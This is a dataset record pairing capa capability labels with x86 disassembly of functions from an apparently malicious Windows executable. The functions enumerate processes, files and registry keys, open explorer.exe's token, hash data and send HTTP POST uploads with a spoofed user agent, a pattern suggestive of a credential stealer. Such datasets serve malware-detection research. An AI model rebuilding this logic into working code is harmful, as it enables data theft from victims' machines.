joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026dd
Capabilities:
Create directory
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
sub ebx, ebx
lea eax, [ebp - 4]
push eax
push str.SoftwareWinRAR
push dword [0x414869]
call sub.advapi32.dll_RegCreateKeyA
or eax, eax
jne 0x402723
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 3
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
or eax, eax
jne 0x40271b
inc ebx
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
or ebx, ebx
jne 0x4027f0
lea eax, [ebp - 0x10d]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
or eax, eax
je 0x4027f0
cmp eax, 0x104
ja 0x4027f0
push 0
lea eax, [ebp - 0x10d]
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
lea eax, [ebp - 0x10d]
push eax
call fcn.004025a9
or eax, eax
jne 0x402789
push 0x414845
lea eax, [ebp - 0x10d]
push eax
call fcn.00401df8
push dword [ebp + 8]
push eax
call fcn.00401e4c
jmp 0x402798
push dword [ebp + 8]
lea eax, [ebp - 0x10d]
push eax
call fcn.00401df8
mov dword [ebp - 0x114], eax
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x114]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 8], eax
inc eax
je 0x4027d6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.00401422
mov ebx, eax
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
or ebx, ebx
jne 0x4027e5
push dword [ebp - 0x114]
call sub.KERNEL32.DLL_DeleteFileA
push dword [ebp - 0x114]
call fcn.004018b8
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x4027f7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.SoftwareWinRAR
push dword [0x414869]
call fcn.00401d71
or eax, eax
jne 0x4028f9
sub ebx, ebx
lea eax, [ebp - 0x111]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
or eax, eax
je 0x4028f7
cmp eax, 0x104
ja 0x4028f7
lea eax, [ebp - 4]
push eax
call fcn.00401000
lea eax, [ebp - 0x111]
push eax
call fcn.004025a9
or eax, eax
jne 0x40287a
push 0x414845
lea eax, [ebp - 0x111]
push eax
call fcn.00401df8
push dword [ebp + 8]
push eax
call fcn.00401e4c
jmp 0x402889
push dword [ebp + 8]
lea eax, [ebp - 0x111]
push eax
call fcn.00401df8
push eax
push dword [ebp - 4]
push eax
call fcn.0040120d
or eax, eax
je 0x4028ea
push dword [ebp - 4]
call fcn.00401082
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4028ea
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call sub.ole32.dll_GetHGlobalFromStream
test eax, eax
js 0x4028ea
push dword [ebp - 0xc]
call sub.KERNEL32.DLL_GlobalLock
or eax, eax
je 0x4028ea
push eax
push dword [ebp - 8]
call fcn.004018cf
mov ebx, eax
pop eax
push dword [ebp - 8]
push ebx
push eax
call fcn.00401906
push dword [ebp - 0xc]
call sub.KERNEL32.DLL_GlobalUnlock
mov eax, dword [ebp + 0xc]
push dword [ebp - 8]
pop dword [eax]
call fcn.004018b8
push dword [ebp - 4]
call fcn.00401021
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x402ce7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push ebp
mov ebp, esp
pop ebp
push 0x402cff
clc
jb 0x402cfe
ret
inc dword [ebx + 0x414aeb3d]
add byte [eax], al
je 0x402d23
cmp dword [0x414aef], 0
je 0x402d23
cmp dword [0x414b27], 0
je 0x402d23
cmp dword [0x414b2b], 0
jne 0x402d28
sub eax, eax
pop ebx
leave
ret
sub ebx, ebx
call dword [0x414aeb]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x134], 0x128
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x402e6d
mov dword [ebp - 0x138], eax
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x138]
call sub.KERNEL32.DLL_Process32First
or eax, eax
je 0x402e62
push str.explorer.exe
lea eax, [ebp - 0x110]
push eax
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x402e4b
mov dword [ebp - 0x13c], 0
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 0x12c]
call dword [0x414aef]
mov edx, dword [ebp - 0x13c]
or eax, eax
je 0x402e4b
cmp edx, dword [ebp - 0xc]
jne 0x402e4b
push dword [ebp - 0x12c]
push 0
push 0x2000000
call sub.KERNEL32.DLL_OpenProcess
or eax, eax
je 0x402e4b
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x201eb
push dword [ebp - 8]
call dword [0x414b27]
or eax, eax
je 0x402e43
push dword [ebp - 4]
call dword [0x414b2b]
or eax, eax
je 0x402e31
inc ebx
mov dword [ebp - 0x140], 0
lea eax, [ebp - 0x140]
push eax
push 0xf003f
call sub.advapi32.dll_RegOpenCurrentUser
or eax, eax
jne 0x402e2d
cmp dword [ebp - 0x140], 0
je 0x402e2d
push dword [ebp - 0x140]
pop dword [0x414869]
jmp 0x402e62
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x402e4b
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x138]
call sub.KERNEL32.DLL_Process32Next
jmp 0x402d67
push dword [ebp - 0x138]
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop ebx
leave
ret

Function at 0x402e72
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push eax
push ebx
push ecx
push edx
push edi
push esi
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 0x80]
lea edx, [eax*8]
mov ebx, eax
mov ecx, eax
shr eax, 6
mov dword [ebp - 0x14], eax
mov edi, dword [ebp + 8]
add edi, ecx
mov byte [edi], pe_nt_image_headers32
and ebx, 0x3f
sub edi, ebx
cmp ebx, 0x38
jb 0x402eb8
add edi, ebx
mov eax, 0x40
sub eax, ebx
add edi, eax
inc dword [ebp - 0x14]
mov dword [edi + 0x38], edx
lea esi, [ebp - 0x10]
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
push dword [ebp - 0x14]
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00402efd
cld
mov ecx, 4
mov edi, dword [ebp + 0x10]
rep movsd dword es:[edi], dword [esi]
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0xc
Function at 0x403510
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
pop dword [ebp - 8]
mov dword [0x418d40], 0x67452301
mov dword [0x418d44], 0xefcdab89
mov dword [0x418d48], 0x98badcfe
mov dword [0x418d4c], 0x10325476
mov dword [0x418d50], 0xc3d2e1f0
jmp 0x403576
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
push 0x40
push 0x418d54
push eax
call fcn.00401906
add dword [ebp - 4], 0x40
call fcn.00403642
sub dword [ebp - 8], 0x40
jae 0x40355a
mov ebx, dword [ebp - 8]
add ebx, 0x40
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
push ebx
push 0x418d54
push eax
call fcn.00401906
add dword [ebp - 4], ebx
mov byte [ebx + 0x418d54], 0x80
sub ebx, 0x37
jbe 0x4035be
sub ebx, 8
je 0x4035b2
and byte [ebx + 0x418d94], 0
inc ebx
js 0x4035a8
call fcn.00403642
mov ebx, 0xffffffc8
jmp 0x4035c0
je 0x4035ca
and byte [ebx + 0x418d8c], 0
inc ebx
js 0x4035c0
mov eax, dword [ebp + 0xc]
mov ecx, 8
xor edx, edx
mul ecx
bswap eax
bswap edx
mov dword [0x418d90], eax
mov dword [0x418d8c], edx
call fcn.00403642
mov eax, dword [0x418d40]
mov edx, dword [0x418d44]
mov ecx, dword [0x418d48]
bswap eax
bswap edx
bswap ecx
mov dword [0x418d40], eax
mov dword [0x418d44], edx
mov dword [0x418d48], ecx
mov eax, dword [0x418d4c]
mov edx, dword [0x418d50]
bswap eax
bswap edx
mov dword [0x418d4c], eax
mov dword [0x418d50], edx
push 0x14
push dword [ebp + 0x10]
push 0x418d40
call fcn.00401906
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x403642
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov ecx, 0xfffffff8
mov eax, dword [ecx*8 + 0x418d94]
mov edx, dword [ecx*8 + 0x418d98]
bswap eax
bswap edx
mov dword [ecx*8 + 0x418d94], eax
mov dword [ecx*8 + 0x418d98], edx
inc ecx
jne 0x40364d
mov ecx, 0xffffffc0
mov eax, dword [ecx*4 + 0x418e88]
mov edx, dword [ecx*4 + 0x418e74]
xor eax, dword [ecx*4 + 0x418e5c]
xor edx, dword [ecx*4 + 0x418e54]
xor eax, edx
rol eax, 1
mov dword [ecx*4 + 0x418e94], eax
inc ecx
jne 0x403675
mov ebx, dword [0x418d40]
mov esi, dword [0x418d44]
mov edi, dword [0x418d48]
push dword [0x418d4c]
pop dword [ebp - 4]
push dword [0x418d50]
pop dword [ebp - 8]
mov ecx, 0xffffffec
mov edx, esi
mov eax, edi
not edx
and eax, esi
and edx, dword [ebp - 4]
or eax, edx
add eax, dword [ecx*4 + 0x418da4]
add eax, dword [ebp - 8]
add eax, 0x5a827999
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x4036c8
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x418df4]
add eax, dword [ebp - 8]
add eax, 0x6ed9eba1
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403701
mov ecx, 0xffffffec
mov eax, edi
mov edx, dword [ebp - 4]
or eax, dword [ebp - 4]
and edx, edi
and eax, esi
or eax, edx
add eax, dword [ecx*4 + 0x418e44]
add eax, dword [ebp - 8]
add eax, 0x8f1bbcdc
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403736
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x418e94]
add eax, dword [ebp - 8]
add eax, 0xca62c1d6
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403770
add dword [0x418d40], ebx
add dword [0x418d44], esi
add dword [0x418d48], edi
mov eax, dword [ebp - 4]
add dword [0x418d4c], eax
mov eax, dword [ebp - 8]
add dword [0x418d50], eax
leave
ret

Function at 0x4037c6
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x4037fc
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
or eax, eax
jne 0x4037e9
mov eax, 0xffffffff
jmp 0x4037fc
mov eax, dword [eax + 0xc]
nop
or eax, eax
jne 0x4037f8
mov eax, 0xffffffff
jmp 0x4037fc
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret 4
Function at 0x403800
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
push 6
push 1
push 2
call sub.wsock32.dll_socket
cmp eax, 0xffffffff
jne 0x40381b
jmp 0x40387d
mov ebx, eax
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.004018e6
mov word [ebp - 0x10], 2
mov ecx, dword [ebp + 0x10]
xchg ch, cl
mov word [ebp - 0xe], cx
cmp dword [ebp + 0xc], 0
je 0x403842
mov eax, dword [ebp + 0xc]
jmp 0x403861
cmp dword [ebp + 0xc], 0
jne 0x403852
cmp dword [ebp + 8], 0
jne 0x403852
jmp 0x403875
push dword [ebp + 8]
call fcn.004037c6
cmp eax, 0xffffffff
jne 0x403861
jmp 0x403875
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x40387d
push ebx
call sub.wsock32.dll_closesocket
xor ebx, ebx
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x403884
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
cmp dword [ebp + 0x10], 0
jne 0x40389a
mov eax, 1
pop edi
pop ebx
leave
ret 0xc
mov edi, dword [ebp + 0xc]
mov ebx, 0
push 0
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x4038c8
add edi, eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x4038c6
mov ebx, 1
jmp 0x4038c8
jmp 0x4038a2
mov eax, ebx
pop edi
pop ebx
leave
ret 0xc

Function at 0x4038d0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push dword [ebp + 0xc]
pop dword [ebp - 0x10c]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 1
lea eax, [ebp - 0x100]
push dword [ebp + 8]
pop dword [eax]
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0xffffffff
je 0x403923
or eax, eax
jne 0x403927
xor eax, eax
jmp 0x40392c
mov eax, 1
leave
ret 8

Function at 0x403930
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.004038d0
or eax, eax
je 0x40399b
push 0x5a
push dword [ebp + 8]
call fcn.004038d0
or eax, eax
jne 0x403957
jmp 0x40399b
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jle 0x40399b
mov eax, dword [ebp + 0x14]
cmp byte [ebp - 1], al
jne 0x403975
mov bl, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
push dword [ebp + 0xc]
call fcn.00401082
cmp eax, dword [ebp + 0x10]
jb 0x403997
jmp 0x40399b
test ebx, ebx
je 0x403947
mov eax, ebx
pop ebx
leave
ret 0x14
Function at 0x4039a2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.004038d0
or eax, eax
je 0x403a23
push 0x5a
push dword [ebp + 8]
call fcn.004038d0
or eax, eax
jne 0x4039cc
jmp 0x403a23
cmp dword [ebp + 0x10], 0x800
jbe 0x4039dc
mov eax, 0x800
jmp 0x4039df
mov eax, dword [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jns 0x4039f7
jmp 0x403a23
jne 0x4039fc
inc ebx
jmp 0x403a23
push eax
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
pop eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x403a1f
inc ebx
jmp 0x403a23
test ebx, ebx
je 0x4039bc
mov eax, ebx
pop ebx
leave
ret 0xc
Function at 0x403bff
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push edi
push ebx
sub ebx, ebx
push 0x2000
call fcn.004018cf
mov dword [ebp - 4], eax
push 0x2000
call fcn.004018cf
mov dword [ebp - 0x4c], eax
push 0x2000
call fcn.004018cf
mov dword [ebp - 0x44], eax
lea edi, [ebp - 0x40]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x2c], 0x1fff
mov dword [ebp - 0x10], 0x1fff
push dword [ebp - 4]
pop dword [ebp - 0x30]
push dword [ebp - 0x4c]
pop dword [ebp - 0x14]
lea eax, [ebp - 0x40]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403c7a
cmp dword [ebp - 0x30], 0
jne 0x403c7f
jmp 0x403d4d
mov dword [ebp - 0x50], 0x1fff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x40]
push eax
call sub.wininet.dll_InternetCreateUrlA
or eax, eax
jne 0x403ca4
jmp 0x403d4d
mov eax, dword [ebp - 0x4c]
mov byte [eax], 0
lea edi, [ebp - 0x40]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x40], 0x3c
push dword [ebp - 0x4c]
pop dword [ebp - 0x14]
mov dword [ebp - 0x2c], 0x1fff
mov dword [ebp - 0x10], 0x1fff
lea eax, [ebp - 0x40]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403ceb
cmp dword [ebp - 0x30], 0
jne 0x403ced
jmp 0x403d4d
push dword [ebp - 4]
push dword [ebp - 0x4c]
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nAccept:___r_nAccept_Encoding:_identity___q0_r_nConnection:_close_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.0__Windows_98__r_n_r_n
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x10
movzx eax, word [ebp - 0x28]
push eax
push 0
push dword [ebp - 4]
call fcn.00403800
or eax, eax
jne 0x403d18
jmp 0x403d4d
mov dword [ebp - 0x48], eax
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x48]
call fcn.00403884
or eax, eax
jne 0x403d35
jmp 0x403d45
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x48]
call fcn.00403a78
mov ebx, eax
push dword [ebp - 0x48]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x4c]
call fcn.004018b8
push dword [ebp - 0x44]
call fcn.004018b8
push dword [ebp - 4]
call fcn.004018b8
mov eax, ebx
pop ebx
pop edi
leave
ret 0xc

Function at 0x403db7
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov word [ebp - 4], 1
mov word [ebp - 2], 0x1e
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 0xffff
push dword [ebp + 8]
call sub.wsock32.dll_setsockopt
leave
ret 4
Function at 0x403de5
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
push ebx
mov dword [ebp - 0x54], 0
xor ebx, ebx
push 0x1000
call fcn.004018cf
mov dword [ebp - 0x40], eax
push 0x1000
call fcn.004018cf
mov dword [ebp - 0x48], eax
push 0x1000
call fcn.004018cf
mov dword [ebp - 0x44], eax
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x40]
pop dword [ebp - 0x2c]
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403e67
cmp dword [ebp - 0x2c], 0
jne 0x403e6c
jmp 0x403f69
mov dword [ebp - 0x50], 0xfff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x3c]
push eax
call sub.wininet.dll_InternetCreateUrlA
or eax, eax
jne 0x403e91
jmp 0x403f69
mov eax, dword [ebp - 0x48]
mov byte [eax], 0
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403ed8
cmp dword [ebp - 0x2c], 0
jne 0x403edd
jmp 0x403f69
push dword [ebp + 0x10]
push dword [ebp - 0x40]
push dword [ebp - 0x48]
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nAccept:___r_nAccept_Encoding:_identity___q0_r_nContent_Length:__lu_r_nConnection:_close_r_nContent_Type:_application_octet_stream_r_nContent_Encoding:_binary_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.0__Windows_98__r_n_r_n
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x14
movzx eax, word [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x40]
call fcn.00403800
or eax, eax
jne 0x403f0b
jmp 0x403f69
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.00403db7
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x4c]
call fcn.00403884
or eax, eax
jne 0x403f30
jmp 0x403f61
cmp dword [ebp + 0x10], 0
je 0x403f4a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x4c]
call fcn.00403884
or eax, eax
jne 0x403f4a
jmp 0x403f61
mov ebx, eax
or ebx, ebx
je 0x403f61
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x4c]
call fcn.00403a78
mov ebx, eax
push dword [ebp - 0x4c]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x40]
call fcn.004018b8
push dword [ebp - 0x44]
call fcn.004018b8
push dword [ebp - 0x48]
call fcn.004018b8
cmp dword [ebp - 0x54], 0
je 0x403f8f
push dword [ebp - 0x54]
call fcn.004018b8
mov eax, ebx
pop ebx
pop edi
leave
ret 0x10
Function at 0x4041a6
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x4041c5
cmp byte [eax], 0
jne 0x4041ca
jmp 0x404342
push dword [ebp + 0xc]
call fcn.004025a9
or eax, eax
jne 0x4041e5
push str..
push dword [ebp + 0xc]
call fcn.00401df8
jmp 0x4041f2
push 0x414f8e
push dword [ebp + 0xc]
call fcn.00401df8
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404342
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x4042bd
lea eax, [edx + 0x2c]
push eax
push 0x414f84
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x404251
jmp 0x40431d
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414f86
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40426e
jmp 0x40431d
push dword [ebp + 0xc]
call fcn.004025a9
or eax, eax
jne 0x404289
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
jmp 0x404293
push 0
push dword [ebp + 0xc]
call fcn.00401df8
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401e4c
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.004041a6
call fcn.004018b8
jmp 0x40431d
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp + 0x10], 0
jne 0x4042ce
jmp 0x4042e0
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40431d
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push dword [ebp - 0x14c]
push eax
call fcn.00401e4c
push eax
cmp dword [ebp + 0x18], 0
je 0x40430c
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
jmp 0x404318
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.0040406c
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x404228
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0x14
Function at 0x40480d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x404917
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x40486a
jmp 0x40490f
cmp dword [ebp - 0x814], 1
je 0x404881
cmp dword [ebp - 0x814], 7
je 0x404881
inc dword [ebp - 8]
jmp 0x404837
push str.Line
lea eax, [ebp - 0x80c]
push eax
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404907
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x404907
mov dword [ebp - 0x810], eax
push 0xbeef0001
push dword [ebp + 8]
call fcn.00401569
cmp dword [ebp - 0x814], 1
jne 0x4048de
push 0
push dword [ebp + 8]
call fcn.00401569
jmp 0x4048e8
push 1
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x818]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040159f
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x404837
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x40491b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x404a91
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x404973
jmp 0x404a89
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x4150e1
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push 0x4150ea
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x4150f3
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x81c], 0
je 0x404a47
cmp dword [ebp - 0x814], 0
je 0x404a47
cmp dword [ebp - 0x818], 0
je 0x404a47
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040491b
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x404945
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8